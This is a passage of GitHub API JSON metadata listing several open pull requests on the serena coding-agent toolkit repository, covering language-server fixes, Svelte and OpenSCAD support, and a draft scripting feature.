          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/886"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/886"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/886"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/886/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/886/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/886/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/5abb38322d7689428f55d67e751769a9e001c8bc"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": [
        8
      ]
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/871",
      "id": 3125489144,
      "node_id": "PR_kwDOONgOes66Sy34",
      "number": 871,
      "state": "open",
      "locked": false,
      "title": "Suggest to enhance into issue when initiate language server (terraform, python)",
      "user": {
        "login": "phuongvm",
        "id": 486788,
        "node_id": "MDQ6VXNlcjQ4Njc4OA==",
        "avatar_url": "https://avatars.githubusercontent.com/u/486788?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/phuongvm",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "Dear Team,\r\n\r\nI would be happy if I could contribute my fixes into this project. Please review and let me know of your comments.\r\n\r\nThis is great project and I love it.\r\n\r\n--\r\nRegards,\r\n\r\nPhuong Lambert",
      "created_at": "2025-12-23T09:21:38Z",
      "updated_at": "2026-01-21T11:43:01Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": null,
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "phuongvm:main",
        "ref": "main",
        "sha": "57346aaae6be527a4549366dba5f1a655849f326",
        "user": {
          "login": "phuongvm",
          "id": 486788,
          "node_id": "MDQ6VXNlcjQ4Njc4OA==",
          "avatar_url": "https://avatars.githubusercontent.com/u/486788?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/phuongvm",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1056996841,
          "node_id": "R_kgDOPwB96Q",
          "name": "serena",
          "full_name": "phuongvm/serena",
          "private": false,
          "owner": {
            "login": "phuongvm",
            "id": 486788,
            "node_id": "MDQ6VXNlcjQ4Njc4OA==",
            "avatar_url": "https://avatars.githubusercontent.com/u/486788?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/phuongvm",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/phuongvm/serena",
          "created_at": "2025-09-15T06:23:55Z",
          "updated_at": "2026-01-12T11:06:30Z",
          "pushed_at": "2026-01-12T11:06:24Z",
          "homepage": "",
          "size": 5106,
          "stargazers_count": 1,
          "watchers_count": 1,
          "language": "Python",
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 1,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/871"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/871"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/871"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/871/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/871/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/871/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/57346aaae6be527a4549366dba5f1a655849f326"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/859",
      "id": 3120349397,
      "node_id": "PR_kwDOONgOes65_MDV",
      "number": 859,
      "state": "open",
      "locked": false,
      "title": "Improvements in overview tools and new feature: serena scripting",
      "user": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "This is currently in draft status, some things need to be discussed/improved before it can be merged",
      "created_at": "2025-12-21T04:59:27Z",
      "updated_at": "2026-01-21T11:43:01Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": null,
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {
        "0": {
          "login": "opcode81",
          "id": 1295099,
          "node_id": "MDQ6VXNlcjEyOTUwOTk=",
          "avatar_url": "https://avatars.githubusercontent.com/u/1295099?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/opcode81",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        }
      },
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": true,
      "head": {
        "label": "oraios:feature/execute_serena_code_tool_and_skill",
        "ref": "feature/execute_serena_code_tool_and_skill",
        "sha": "f023ca37a1e9a4ec9f8e616edbde15952e3c41c1",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/859"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/859"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/859"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/859/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/859/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/859/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/f023ca37a1e9a4ec9f8e616edbde15952e3c41c1"
        }
      },
      "author_association": "CONTRIBUTOR",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/835",
      "id": 3096723423,
      "node_id": "PR_kwDOONgOes64lD_f",
      "number": 835,
      "state": "open",
      "locked": false,
      "title": "DRAFT: Serena Java init_language_server_manager fails for custom gradle setup.",
      "user": {
        "login": "tkruse",
        "id": 1525116,
        "node_id": "MDQ6VXNlcjE1MjUxMTY=",
        "avatar_url": "https://avatars.githubusercontent.com/u/1525116?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/tkruse",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "In my company's dev setup serena fails to run the task `init_language_server_manager` due to \r\n```\r\norg.gradle.api.plugins.UnknownPluginException: Plugin [id: '...'] was not found in any of the following sources\r\n```\r\nThe issue is that the sources for our custom plugins are setup in gradlew wrapper.\r\n\r\nThis PR removes that as a PoC (without consideration of how this breaks for other projects).\r\n\r\nThe next problem was that in my company, a gradle plugin checks on every gradle run that an approved JRE is being used, while Serena/JDTLS apparently use a fixed JRE. That could be resolved with `ls_specific_settings` in `serena_config.yml`. The fork for this MR allowed to start serena successfully.\r\n\r\nThis MR is not intended to be merged as is, but only to demonstrate a minimal mitigation that works only within my company.",
      "created_at": "2025-12-12T14:33:35Z",
      "updated_at": "2026-01-21T11:43:01Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": null,
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "tkruse:main",
        "ref": "main",
        "sha": "c4fdcb60ee3f766e4fbf74e487c11570819cb704",
        "user": {
          "login": "tkruse",
          "id": 1525116,
          "node_id": "MDQ6VXNlcjE1MjUxMTY=",
          "avatar_url": "https://avatars.githubusercontent.com/u/1525116?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/tkruse",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1115133899,
          "node_id": "R_kgDOQneXyw",
          "name": "serena",
          "full_name": "tkruse/serena",
          "private": false,
          "owner": {
            "login": "tkruse",
            "id": 1525116,
            "node_id": "MDQ6VXNlcjE1MjUxMTY=",
            "avatar_url": "https://avatars.githubusercontent.com/u/1525116?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/tkruse",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/tkruse/serena",
          "created_at": "2025-12-12T11:45:23Z",
          "updated_at": "2026-01-09T09:46:24Z",
          "pushed_at": "2026-01-21T13:26:53Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 5117,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": "Python",
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "gradlew_jdk_customized"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/835"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/835"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/835"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/835/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/835/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/835/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/c4fdcb60ee3f766e4fbf74e487c11570819cb704"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/829",
      "id": 3088622526,
      "node_id": "PR_kwDOONgOes64GKO-",
      "number": 829,
      "state": "open",
      "locked": false,
      "title": "\"Companion language server\" abstraction",
      "user": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "Based on the work of @tylersatre, we can now implement svelte support in a similar way and using the same abstractions as done for vue. Implementing svelte support will also give a practical test for how well the abstractions work (I expect them to work well for this).\r\n\r\nSeveral attempts at supporting svelte were already done in the past, including #339 and #504 .\r\n\r\nWe can likely reuse a lot of the code there, and combine it with the companion server abstraction introduced on this branch.\r\n\r\nI am creating the PR as a place for further discussion and also as a good way for @opcode81 and me to review the companion abstraction.\r\n\r\nThank you @tylersatre for the great work on this, highly appreciated!",
      "created_at": "2025-12-10T09:35:44Z",
      "updated_at": "2026-01-21T11:43:01Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": null,
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": true,
      "head": {
        "label": "oraios:feature/svelte_support",
        "ref": "feature/svelte_support",
        "sha": "5d07cd6b3afca8138d01a7bc876a0164a91945a3",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/829"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/829"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/829"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/829/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/829/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/829/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/5d07cd6b3afca8138d01a7bc876a0164a91945a3"
        }
      },
      "author_association": "CONTRIBUTOR",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": [
        3,
        5
      ]
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/815",
      "id": 3078564024,
      "node_id": "PR_kwDOONgOes63fyi4",
      "number": 815,
      "state": "open",
      "locked": false,
      "title": "[WIP] add experimental openscad support",
      "user": {
        "login": "bertlebee",
        "id": 30517573,
        "node_id": "MDQ6VXNlcjMwNTE3NTcz",
        "avatar_url": "https://avatars.githubusercontent.com/u/30517573?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/bertlebee",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "per title. openscad-lsp doesn't yet support textDocument/references, so waiting on https://github.com/Leathong/openscad-LSP/pull/62 to be merged first. I've had success using a locally installed version of openscad-lsp built from this branch.",
      "created_at": "2025-12-07T02:05:50Z",
      "updated_at": "2026-01-21T11:43:01Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": null,
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "bertlebee:add-openscad-support",
        "ref": "add-openscad-support",
        "sha": "17cdcc2415c9e6a13776cd2b880f18c90c00a9aa",
        "user": {
          "login": "bertlebee",
          "id": 30517573,
          "node_id": "MDQ6VXNlcjMwNTE3NTcz",
          "avatar_url": "https://avatars.githubusercontent.com/u/30517573?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/bertlebee",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1111019633,
          "node_id": "R_kgDOQjjQcQ",
          "name": "serena",
          "full_name": "bertlebee/serena",
          "private": false,
          "owner": {
            "login": "bertlebee",
            "id": 30517573,
            "node_id": "MDQ6VXNlcjMwNTE3NTcz",
            "avatar_url": "https://avatars.githubusercontent.com/u/30517573?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/bertlebee",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/bertlebee/serena",
          "created_at": "2025-12-06T05:28:32Z",
          "updated_at": "2025-12-06T05:28:32Z",
          "pushed_at": "2025-12-07T01:59:37Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 4644,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": null,
          "has_issues": false,
